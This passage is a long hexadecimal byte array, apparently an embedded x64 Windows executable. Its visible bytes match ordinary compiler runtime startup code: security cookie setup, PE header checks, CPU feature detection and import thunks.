0x00, 0x48, 0x8B, 0xD8, 0x48, 0x83, 0x38, 0x00, 0x74, 0x14, 0x48, 0x8B, 0xC8, 0xE8, 0x32, 0x03,
0x00, 0x00, 0x84, 0xC0, 0x74, 0x08, 0x48, 0x8B, 0x0B, 0xE8, 0x44, 0x0A, 0x00, 0x00, 0xE8, 0x03,
0x0A, 0x00, 0x00, 0x48, 0x8B, 0xF8, 0xE8, 0x25, 0x0A, 0x00, 0x00, 0x48, 0x8B, 0x18, 0xE8, 0x17,
0x0A, 0x00, 0x00, 0x4C, 0x8B, 0xC7, 0x48, 0x8B, 0xD3, 0x8B, 0x08, 0xE8, 0xB0, 0xFD, 0xFF, 0xFF,
0x8B, 0xD8, 0xE8, 0xB1, 0x06, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x55, 0x40, 0x84, 0xF6, 0x75, 0x05,
0xE8, 0x01, 0x0A, 0x00, 0x00, 0x33, 0xD2, 0xB1, 0x01, 0xE8, 0xA2, 0x03, 0x00, 0x00, 0x8B, 0xC3,
0xEB, 0x19, 0x8B, 0xD8, 0xE8, 0x8F, 0x06, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x3B, 0x80, 0x7C, 0x24,
0x20, 0x00, 0x75, 0x05, 0xE8, 0xE3, 0x09, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x40,
0x48, 0x8B, 0x74, 0x24, 0x48, 0x48, 0x83, 0xC4, 0x30, 0x5F, 0xC3, 0xB9, 0x07, 0x00, 0x00, 0x00,
0xE8, 0x13, 0x05, 0x00, 0x00, 0x90, 0xB9, 0x07, 0x00, 0x00, 0x00, 0xE8, 0x08, 0x05, 0x00, 0x00,
0x8B, 0xCB, 0xE8, 0x91, 0x09, 0x00, 0x00, 0x90, 0x8B, 0xCB, 0xE8, 0x8F, 0x09, 0x00, 0x00, 0x90,
0x48, 0x83, 0xEC, 0x28, 0xE8, 0xC7, 0x03, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xE9, 0x72, 0xFE,
0xFF, 0xFF, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x33, 0xC9, 0xFF,
0x15, 0x3B, 0x16, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x2A, 0x16, 0x00, 0x00, 0xFF, 0x15,
0x34, 0x16, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0xBA, 0x09, 0x04, 0x00, 0xC0, 0x48, 0x83, 0xC4, 0x20,
0x5B, 0x48, 0xFF, 0x25, 0x28, 0x16, 0x00, 0x00, 0x48, 0x89, 0x4C, 0x24, 0x08, 0x48, 0x83, 0xEC,
0x38, 0xB9, 0x17, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x1C, 0x16, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x07,
0xB9, 0x02, 0x00, 0x00, 0x00, 0xCD, 0x29, 0x48, 0x8D, 0x0D, 0xF2, 0x26, 0x00, 0x00, 0xE8, 0xA9,
0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x38, 0x48, 0x89, 0x05, 0xD9, 0x27, 0x00, 0x00, 0x48,
0x8D, 0x44, 0x24, 0x38, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x05, 0x69, 0x27, 0x00, 0x00, 0x48,
0x8B, 0x05, 0xC2, 0x27, 0x00, 0x00, 0x48, 0x89, 0x05, 0x33, 0x26, 0x00, 0x00, 0x48, 0x8B, 0x44,
0x24, 0x40, 0x48, 0x89, 0x05, 0x37, 0x27, 0x00, 0x00, 0xC7, 0x05, 0x0D, 0x26, 0x00, 0x00, 0x09,
0x04, 0x00, 0xC0, 0xC7, 0x05, 0x07, 0x26, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xC7, 0x05, 0x11,
0x26, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00,
0x48, 0x8D, 0x0D, 0x09, 0x26, 0x00, 0x00, 0x48, 0xC7, 0x04, 0x01, 0x02, 0x00, 0x00, 0x00, 0xB8,
0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x0D, 0x51, 0x25, 0x00, 0x00, 0x48,
0x89, 0x4C, 0x04, 0x20, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x01, 0x48, 0x8B, 0x0D,
0x7C, 0x25, 0x00, 0x00, 0x48, 0x89, 0x4C, 0x04, 0x20, 0x48, 0x8D, 0x0D, 0x60, 0x17, 0x00, 0x00,
0xE8, 0xFF, 0xFE, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0xCC, 0xCC, 0x40, 0x53, 0x56, 0x57,
0x48, 0x83, 0xEC, 0x40, 0x48, 0x8B, 0xD9, 0xFF, 0x15, 0x6B, 0x15, 0x00, 0x00, 0x48, 0x8B, 0xB3,
0xF8, 0x00, 0x00, 0x00, 0x33, 0xFF, 0x45, 0x33, 0xC0, 0x48, 0x8D, 0x54, 0x24, 0x60, 0x48, 0x8B,
0xCE, 0xFF, 0x15, 0x01, 0x15, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x39, 0x48, 0x83, 0x64, 0x24,
0x38, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x68, 0x48, 0x8B, 0x54, 0x24, 0x60, 0x4C, 0x8B, 0xC8, 0x48,
0x89, 0x4C, 0x24, 0x30, 0x4C, 0x8B, 0xC6, 0x48, 0x8D, 0x4C, 0x24, 0x70, 0x48, 0x89, 0x4C, 0x24,
0x28, 0x33, 0xC9, 0x48, 0x89, 0x5C, 0x24, 0x20, 0xFF, 0x15, 0xD2, 0x14, 0x00, 0x00, 0xFF, 0xC7,
0x83, 0xFF, 0x02, 0x7C, 0xB1, 0x48, 0x83, 0xC4, 0x40, 0x5F, 0x5E, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC,
0x48, 0x83, 0xEC, 0x28, 0xE8, 0x93, 0x07, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x21, 0x65, 0x48, 0x8B,
0x04, 0x25, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x48, 0x08, 0xEB, 0x05, 0x48, 0x3B, 0xC8, 0x74,
0x14, 0x33, 0xC0, 0xF0, 0x48, 0x0F, 0xB1, 0x0D, 0x7C, 0x2A, 0x00, 0x00, 0x75, 0xEE, 0x32, 0xC0,
0x48, 0x83, 0xC4, 0x28, 0xC3, 0xB0, 0x01, 0xEB, 0xF7, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28,
0x85, 0xC9, 0x75, 0x07, 0xC6, 0x05, 0x65, 0x2A, 0x00, 0x00, 0x01, 0xE8, 0xA0, 0x05, 0x00, 0x00,
0xE8, 0xBB, 0x02, 0x00, 0x00, 0x84, 0xC0, 0x75, 0x04, 0x32, 0xC0, 0xEB, 0x14, 0xE8, 0xAE, 0x02,
0x00, 0x00, 0x84, 0xC0, 0x75, 0x09, 0x33, 0xC9, 0xE8, 0xA3, 0x02, 0x00, 0x00, 0xEB, 0xEA, 0xB0,
0x01, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x80, 0x3D,
0x2C, 0x2A, 0x00, 0x00, 0x00, 0x8B, 0xD9, 0x75, 0x67, 0x83, 0xF9, 0x01, 0x77, 0x6A, 0xE8, 0x09,
0x07, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x28, 0x85, 0xDB, 0x75, 0x24, 0x48, 0x8D, 0x0D, 0x16, 0x2A,
0x00, 0x00, 0xE8, 0x93, 0x07, 0x00, 0x00, 0x85, 0xC0, 0x75, 0x10, 0x48, 0x8D, 0x0D, 0x1E, 0x2A,
0x00, 0x00, 0xE8, 0x83, 0x07, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x2E, 0x32, 0xC0, 0xEB, 0x33, 0x66,
0x0F, 0x6F, 0x05, 0x29, 0x16, 0x00, 0x00, 0x48, 0x83, 0xC8, 0xFF, 0xF3, 0x0F, 0x7F, 0x05, 0xE5,
0x29, 0x00, 0x00, 0x48, 0x89, 0x05, 0xEE, 0x29, 0x00, 0x00, 0xF3, 0x0F, 0x7F, 0x05, 0xEE, 0x29,
0x00, 0x00, 0x48, 0x89, 0x05, 0xF7, 0x29, 0x00, 0x00, 0xC6, 0x05, 0xC1, 0x29, 0x00, 0x00, 0x01,
0xB0, 0x01, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xB9, 0x05, 0x00, 0x00, 0x00, 0xE8, 0x66, 0x02,
0x00, 0x00, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x18, 0x4C, 0x8B, 0xC1, 0xB8, 0x4D, 0x5A, 0x00, 0x00,
0x66, 0x39, 0x05, 0x99, 0xE3, 0xFF, 0xFF, 0x75, 0x78, 0x48, 0x63, 0x0D, 0xCC, 0xE3, 0xFF, 0xFF,
0x48, 0x8D, 0x15, 0x89, 0xE3, 0xFF, 0xFF, 0x48, 0x03, 0xCA, 0x81, 0x39, 0x50, 0x45, 0x00, 0x00,
0x75, 0x5F, 0xB8, 0x0B, 0x02, 0x00, 0x00, 0x66, 0x39, 0x41, 0x18, 0x75, 0x54, 0x4C, 0x2B, 0xC2,
0x0F, 0xB7, 0x51, 0x14, 0x48, 0x83, 0xC2, 0x18, 0x48, 0x03, 0xD1, 0x0F, 0xB7, 0x41, 0x06, 0x48,
0x8D, 0x0C, 0x80, 0x4C, 0x8D, 0x0C, 0xCA, 0x48, 0x89, 0x14, 0x24, 0x49, 0x3B, 0xD1, 0x74, 0x18,
0x8B, 0x4A, 0x0C, 0x4C, 0x3B, 0xC1, 0x72, 0x0A, 0x8B, 0x42, 0x08, 0x03, 0xC1, 0x4C, 0x3B, 0xC0,
0x72, 0x08, 0x48, 0x83, 0xC2, 0x28, 0xEB, 0xDF, 0x33, 0xD2, 0x48, 0x85, 0xD2, 0x75, 0x04, 0x32,
0xC0, 0xEB, 0x14, 0x83, 0x7A, 0x24, 0x00, 0x7D, 0x04, 0x32, 0xC0, 0xEB, 0x0A, 0xB0, 0x01, 0xEB,
0x06, 0x32, 0xC0, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x83, 0xC4, 0x18, 0xC3, 0x40, 0x53, 0x48, 0x83,
0xEC, 0x20, 0x8A, 0xD9, 0xE8, 0xF3, 0x05, 0x00, 0x00, 0x33, 0xD2, 0x85, 0xC0, 0x74, 0x0B, 0x84,
0xDB, 0x75, 0x07, 0x48, 0x87, 0x15, 0xEE, 0x28, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3,
0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x80, 0x3D, 0xE3, 0x28, 0x00, 0x00, 0x00, 0x8A, 0xD9, 0x74,
0x04, 0x84, 0xD2, 0x75, 0x0C, 0xE8, 0x36, 0x01, 0x00, 0x00, 0x8A, 0xCB, 0xE8, 0x2F, 0x01, 0x00,
0x00, 0xB0, 0x01, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83,
0xEC, 0x20, 0x48, 0x83, 0x3D, 0xBE, 0x28, 0x00, 0x00, 0xFF, 0x48, 0x8B, 0xD9, 0x75, 0x07, 0xE8,
0x42, 0x06, 0x00, 0x00, 0xEB, 0x0F, 0x48, 0x8B, 0xD3, 0x48, 0x8D, 0x0D, 0xA8, 0x28, 0x00, 0x00,
0xE8, 0x2B, 0x06, 0x00, 0x00, 0x33, 0xD2, 0x85, 0xC0, 0x48, 0x0F, 0x44, 0xD3, 0x48, 0x8B, 0xC2,
0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0xE8, 0xBB, 0xFF, 0xFF,
0xFF, 0x48, 0xF7, 0xD8, 0x1B, 0xC0, 0xF7, 0xD8, 0xFF, 0xC8, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC,
0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x48, 0x8B, 0xEC, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0x05,
0x5C, 0x22, 0x00, 0x00, 0x48, 0xBB, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, 0x48, 0x3B,
0xC3, 0x75, 0x74, 0x48, 0x83, 0x65, 0x10, 0x00, 0x48, 0x8D, 0x4D, 0x10, 0xFF, 0x15, 0x3E, 0x12,
0x00, 0x00, 0x48, 0x8B, 0x45, 0x10, 0x48, 0x89, 0x45, 0xF0, 0xFF, 0x15, 0x90, 0x12, 0x00, 0x00,
0x8B, 0xC0, 0x48, 0x31, 0x45, 0xF0, 0xFF, 0x15, 0x8C, 0x12, 0x00, 0x00, 0x8B, 0xC0, 0x48, 0x8D,
0x4D, 0x18, 0x48, 0x31, 0x45, 0xF0, 0xFF, 0x15, 0x84, 0x12, 0x00, 0x00, 0x8B, 0x45, 0x18, 0x48,
0x8D, 0x4D, 0xF0, 0x48, 0xC1, 0xE0, 0x20, 0x48, 0x33, 0x45, 0x18, 0x48, 0x33, 0x45, 0xF0, 0x48,
0x33, 0xC1, 0x48, 0xB9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x48, 0x23, 0xC1, 0x48,
0xB9, 0x33, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, 0x48, 0x3B, 0xC3, 0x48, 0x0F, 0x44, 0xC1,
0x48, 0x89, 0x05, 0xD9, 0x21, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0xF7, 0xD0, 0x48,
0x89, 0x05, 0x0A, 0x22, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0xC3, 0x33, 0xC0, 0xC3, 0xCC,
0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3, 0xCC, 0xCC, 0xB8, 0x00, 0x40, 0x00, 0x00, 0xC3, 0xCC, 0xCC,
0x48, 0x8D, 0x0D, 0xE9, 0x27, 0x00, 0x00, 0x48, 0xFF, 0x25, 0xF2, 0x11, 0x00, 0x00, 0xCC, 0xCC,
0xB0, 0x01, 0xC3, 0xCC, 0xC2, 0x00, 0x00, 0xCC, 0x48, 0x8D, 0x05, 0xE1, 0x27, 0x00, 0x00, 0xC3,
0x48, 0x8D, 0x05, 0xE1, 0x27, 0x00, 0x00, 0xC3, 0x48, 0x83, 0xEC, 0x28, 0xE8, 0xE7, 0xFF, 0xFF,
0xFF, 0x48, 0x83, 0x08, 0x24, 0xE8, 0xE6, 0xFF, 0xFF, 0xFF, 0x48, 0x83, 0x08, 0x02, 0x48, 0x83,
0xC4, 0x28, 0xC3, 0xCC, 0x33, 0xC0, 0x39, 0x05, 0xB0, 0x21, 0x00, 0x00, 0x0F, 0x94, 0xC0, 0xC3,
0x48, 0x8D, 0x05, 0xC9, 0x27, 0x00, 0x00, 0xC3, 0x48, 0x8D, 0x05, 0xB9, 0x27, 0x00, 0x00, 0xC3,
0x83, 0x25, 0xA9, 0x27, 0x00, 0x00, 0x00, 0xC3, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x55, 0x48, 0x8D,
0xAC, 0x24, 0x40, 0xFB, 0xFF, 0xFF, 0x48, 0x81, 0xEC, 0xC0, 0x05, 0x00, 0x00, 0x8B, 0xD9, 0xB9,
0x17, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x5E, 0x11, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x04, 0x8B, 0xCB,
0xCD, 0x29, 0xB9, 0x03, 0x00, 0x00, 0x00, 0xE8, 0xC4, 0xFF, 0xFF, 0xFF, 0x33, 0xD2, 0x48, 0x8D,
0x4D, 0xF0, 0x41, 0xB8, 0xD0, 0x04, 0x00, 0x00, 0xE8, 0x15, 0x04, 0x00, 0x00, 0x48, 0x8D, 0x4D,
0xF0, 0xFF, 0x15, 0x51, 0x11, 0x00, 0x00, 0x48, 0x8B, 0x9D, 0xE8, 0x00, 0x00, 0x00, 0x48, 0x8D,
0x95, 0xD8, 0x04, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0x45, 0x33, 0xC0, 0xFF, 0x15, 0xE7, 0x10, 0x00,
0x00, 0x48, 0x85, 0xC0, 0x74, 0x3C, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x48, 0x8D, 0x8D, 0xE0,
0x04, 0x00, 0x00, 0x48, 0x8B, 0x95, 0xD8, 0x04, 0x00, 0x00, 0x4C, 0x8B, 0xC8, 0x48, 0x89, 0x4C,
0x24, 0x30, 0x4C, 0x8B, 0xC3, 0x48, 0x8D, 0x8D, 0xE8, 0x04, 0x00, 0x00, 0x48, 0x89, 0x4C, 0x24,
0x28, 0x48, 0x8D, 0x4D, 0xF0, 0x48, 0x89, 0x4C, 0x24, 0x20, 0x33, 0xC9, 0xFF, 0x15, 0xAE, 0x10,
0x00, 0x00, 0x48, 0x8B, 0x85, 0xC8, 0x04, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0x48, 0x89,
0x85, 0xE8, 0x00, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8D, 0x85, 0xC8, 0x04, 0x00, 0x00, 0x41, 0xB8,
0x98, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x08, 0x48, 0x89, 0x85, 0x88, 0x00, 0x00, 0x00, 0xE8,
0x7E, 0x03, 0x00, 0x00, 0x48, 0x8B, 0x85, 0xC8, 0x04, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x60,
0xC7, 0x44, 0x24, 0x50, 0x15, 0x00, 0x00, 0x40, 0xC7, 0x44, 0x24, 0x54, 0x01, 0x00, 0x00, 0x00,
0xFF, 0x15, 0x92, 0x10, 0x00, 0x00, 0x8B, 0xD8, 0x33, 0xC9, 0x48, 0x8D, 0x44, 0x24, 0x50, 0x48,
0x89, 0x44, 0x24, 0x40, 0x48, 0x8D, 0x45, 0xF0, 0x48, 0x89, 0x44, 0x24, 0x48, 0xFF, 0x15, 0x4D,
0x10, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x40, 0xFF, 0x15, 0x3A, 0x10, 0x00, 0x00, 0x85, 0xC0,
0x75, 0x0D, 0x83, 0xFB, 0x01, 0x74, 0x08, 0x8D, 0x48, 0x03, 0xE8, 0xC1, 0xFE, 0xFF, 0xFF, 0x48,
0x8B, 0x9C, 0x24, 0xD0, 0x05, 0x00, 0x00, 0x48, 0x81, 0xC4, 0xC0, 0x05, 0x00, 0x00, 0x5D, 0xC3,
0xE9, 0x37, 0xFE, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x33, 0xC9, 0xFF, 0x15,
0x2C, 0x10, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x39, 0xB9, 0x4D, 0x5A, 0x00, 0x00, 0x66, 0x39,
0x08, 0x75, 0x2F, 0x48, 0x63, 0x48, 0x3C, 0x48, 0x03, 0xC8, 0x81, 0x39, 0x50, 0x45, 0x00, 0x00,
0x75, 0x20, 0xB8, 0x0B, 0x02, 0x00, 0x00, 0x66, 0x39, 0x41, 0x18, 0x75, 0x15, 0x83, 0xB9, 0x84,
0x00, 0x00, 0x00, 0x0E, 0x76, 0x0C, 0x83, 0xB9, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x95, 0xC0,
0xEB, 0x02, 0x32, 0xC0, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x8D, 0x0D, 0x09,
0x00, 0x00, 0x00, 0x48, 0xFF, 0x25, 0xB6, 0x0F, 0x00, 0x00, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24,
0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x19, 0x48, 0x8B, 0xF9, 0x81, 0x3B, 0x63, 0x73,
0x6D, 0xE0, 0x75, 0x1C, 0x83, 0x7B, 0x18, 0x04, 0x75, 0x16, 0x8B, 0x53, 0x20, 0x8D, 0x82, 0xE0,
0xFA, 0x6C, 0xE6, 0x83, 0xF8, 0x02, 0x76, 0x15, 0x81, 0xFA, 0x00, 0x40, 0x99, 0x01, 0x74, 0x0D,
0x48, 0x8B, 0x5C, 0x24, 0x30, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xE8, 0x54, 0x02,
0x00, 0x00, 0x48, 0x89, 0x18, 0x48, 0x8B, 0x5F, 0x08, 0xE8, 0x4E, 0x02, 0x00, 0x00, 0x48, 0x89,
0x18, 0xE8, 0xD6, 0x02, 0x00, 0x00, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83,
0xEC, 0x20, 0x48, 0x8D, 0x1D, 0x47, 0x17, 0x00, 0x00, 0x48, 0x8D, 0x3D, 0x40, 0x17, 0x00, 0x00,
0xEB, 0x12, 0x48, 0x8B, 0x03, 0x48, 0x85, 0xC0, 0x74, 0x06, 0xFF, 0x15, 0xC0, 0x10, 0x00, 0x00,
0x48, 0x83, 0xC3, 0x08, 0x48, 0x3B, 0xDF, 0x72, 0xE9, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83,
0xC4, 0x20, 0x5F, 0xC3, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8D,
0x1D, 0x1B, 0x17, 0x00, 0x00, 0x48, 0x8D, 0x3D, 0x14, 0x17, 0x00, 0x00, 0xEB, 0x12, 0x48, 0x8B,
0x03, 0x48, 0x85, 0xC0, 0x74, 0x06, 0xFF, 0x15, 0x84, 0x10, 0x00, 0x00, 0x48, 0x83, 0xC3, 0x08,
0x48, 0x3B, 0xDF, 0x72, 0xE9, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3,
0x48, 0x89, 0x5C, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x33,
0xC0, 0x33, 0xC9, 0x0F, 0xA2, 0x44, 0x8B, 0xC1, 0x45, 0x33, 0xDB, 0x44, 0x8B, 0xD2, 0x41, 0x81,
0xF0, 0x6E, 0x74, 0x65, 0x6C, 0x41, 0x81, 0xF2, 0x69, 0x6E, 0x65, 0x49, 0x44, 0x8B, 0xCB, 0x8B,
0xF0, 0x33, 0xC9, 0x41, 0x8D, 0x43, 0x01, 0x45, 0x0B, 0xD0, 0x0F, 0xA2, 0x41, 0x81, 0xF1, 0x47,
0x65, 0x6E, 0x75, 0x89, 0x04, 0x24, 0x45, 0x0B, 0xD1, 0x89, 0x5C, 0x24, 0x04, 0x8B, 0xF9, 0x89,
0x4C, 0x24, 0x08, 0x89, 0x54, 0x24, 0x0C, 0x75, 0x5B, 0x48, 0x83, 0x0D, 0xBF, 0x1E, 0x00, 0x00,
0xFF, 0x25, 0xF0, 0x3F, 0xFF, 0x0F, 0x48, 0xC7, 0x05, 0xA7, 0x1E, 0x00, 0x00, 0x00, 0x80, 0x00,
0x00, 0x3D, 0xC0, 0x06, 0x01, 0x00, 0x74, 0x28, 0x3D, 0x60, 0x06, 0x02, 0x00, 0x74, 0x21, 0x3D,
0x70, 0x06, 0x02, 0x00, 0x74, 0x1A, 0x05, 0xB0, 0xF9, 0xFC, 0xFF, 0x83, 0xF8, 0x20, 0x77, 0x24,
0x48, 0xB9, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x48, 0x0F, 0xA3, 0xC1, 0x73, 0x14,
0x44, 0x8B, 0x05, 0x7D, 0x24, 0x00, 0x00, 0x41, 0x83, 0xC8, 0x01, 0x44, 0x89, 0x05, 0x72, 0x24,
0x00, 0x00, 0xEB, 0x07, 0x44, 0x8B, 0x05, 0x69, 0x24, 0x00, 0x00, 0xB8, 0x07, 0x00, 0x00, 0x00,
0x44, 0x8D, 0x48, 0xFB, 0x3B, 0xF0, 0x7C, 0x26, 0x33, 0xC9, 0x0F, 0xA2, 0x89, 0x04, 0x24, 0x44,
0x8B, 0xDB, 0x89, 0x5C, 0x24, 0x04, 0x89, 0x4C, 0x24, 0x08, 0x89, 0x54, 0x24, 0x0C, 0x0F, 0xBA,
0xE3, 0x09, 0x73, 0x0A, 0x45, 0x0B, 0xC1, 0x44, 0x89, 0x05, 0x36, 0x24, 0x00, 0x00, 0xC7, 0x05,
0x18, 0x1E, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x44, 0x89, 0x0D, 0x15, 0x1E, 0x00, 0x00, 0x0F,
0xBA, 0xE7, 0x14, 0x0F, 0x83, 0x91, 0x00, 0x00, 0x00, 0x44, 0x89, 0x0D, 0x00, 0x1E, 0x00, 0x00,
0xBB, 0x06, 0x00, 0x00, 0x00, 0x89, 0x1D, 0xF9, 0x1D, 0x00, 0x00, 0x0F, 0xBA, 0xE7, 0x1B, 0x73,
0x79, 0x0F, 0xBA, 0xE7, 0x1C, 0x73, 0x73, 0x33, 0xC9, 0x0F, 0x01, 0xD0, 0x48, 0xC1, 0xE2, 0x20,
0x48, 0x0B, 0xD0, 0x48, 0x89, 0x54, 0x24, 0x20, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x22, 0xC3, 0x3A,
0xC3, 0x75, 0x57, 0x8B, 0x05, 0xCB, 0x1D, 0x00, 0x00, 0x83, 0xC8, 0x08, 0xC7, 0x05, 0xBA, 0x1D,
0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x89, 0x05, 0xB8, 0x1D, 0x00, 0x00, 0x41, 0xF6, 0xC3, 0x20,
0x74, 0x38, 0x83, 0xC8, 0x20, 0xC7, 0x05, 0xA1, 0x1D, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x89,
0x05, 0x9F, 0x1D, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x03, 0xD0, 0x44, 0x23, 0xD8, 0x44, 0x3B, 0xD8,
0x75, 0x18, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x24, 0xE0, 0x3C, 0xE0, 0x75, 0x0D, 0x83, 0x0D, 0x80,
0x1D, 0x00, 0x00, 0x40, 0x89, 0x1D, 0x76, 0x1D, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x28, 0x33,
0xC0, 0x48, 0x8B, 0x74, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x10, 0x5F, 0xC3, 0x33, 0xC0, 0x39, 0x05,
0x7C, 0x1D, 0x00, 0x00, 0x0F, 0x95, 0xC0, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xFF, 0x25, 0x8A, 0x0D, 0x00, 0x00, 0xFF, 0x25, 0x8C, 0x0D, 0x00, 0x00, 0xFF, 0x25, 0x8E, 0x0D,
0x00, 0x00, 0xFF, 0x25, 0x90, 0x0D, 0x00, 0x00, 0xFF, 0x25, 0xDA, 0x0D, 0x00, 0x00, 0xFF, 0x25,
0xDC, 0x0D, 0x00, 0x00, 0xFF, 0x25, 0xB6, 0x0D, 0x00, 0x00, 0xFF, 0x25, 0x40, 0x0E, 0x00, 0x00,
0xFF, 0x25, 0x32, 0x0E, 0x00, 0x00, 0xFF, 0x25, 0x24, 0x0E, 0x00, 0x00, 0xFF, 0x25, 0x16, 0x0E,
0x00, 0x00, 0xFF, 0x25, 0x08, 0x0E, 0x00, 0x00, 0xFF, 0x25, 0xFA, 0x0D, 0x00, 0x00, 0xFF, 0x25,
0xEC, 0x0D, 0x00, 0x00, 0xFF, 0x25, 0x36, 0x0E, 0x00, 0x00, 0xFF, 0x25, 0xD0, 0x0D, 0x00, 0x00,
0xFF, 0x25, 0xC2, 0x0D, 0x00, 0x00, 0xFF, 0x25, 0xB4, 0x0D, 0x00, 0x00, 0xFF, 0x25, 0xA6, 0x0D,
0x00, 0x00, 0xFF, 0x25, 0x98, 0x0D, 0x00, 0x00, 0xFF, 0x25, 0x52, 0x0D, 0x00, 0x00, 0xFF, 0x25,
0x3C, 0x0D, 0x00, 0x00, 0xFF, 0x25, 0xFE, 0x0D, 0x00, 0x00, 0xFF, 0x25, 0xE8, 0x0D, 0x00, 0x00,
0xFF, 0x25, 0x72, 0x0D, 0x00, 0x00, 0xFF, 0x25, 0x9C, 0x0D, 0x00, 0x00, 0xFF, 0x25, 0x4E, 0x0D,
0x00, 0x00, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x4D, 0x8B, 0x41, 0x38, 0x48, 0x8B, 0xCA, 0x49,
0x8B, 0xD1, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28,
0xC3, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x45, 0x8B, 0x18, 0x48, 0x8B, 0xDA, 0x41, 0x83, 0xE3, 0xF8,
0x4C, 0x8B, 0xC9, 0x41, 0xF6, 0x00, 0x04, 0x4C, 0x8B, 0xD1, 0x74, 0x13, 0x41, 0x8B, 0x40, 0x08,
0x4D, 0x63, 0x50, 0x04, 0xF7, 0xD8, 0x4C, 0x03, 0xD1, 0x48, 0x63, 0xC8, 0x4C, 0x23, 0xD1, 0x49,
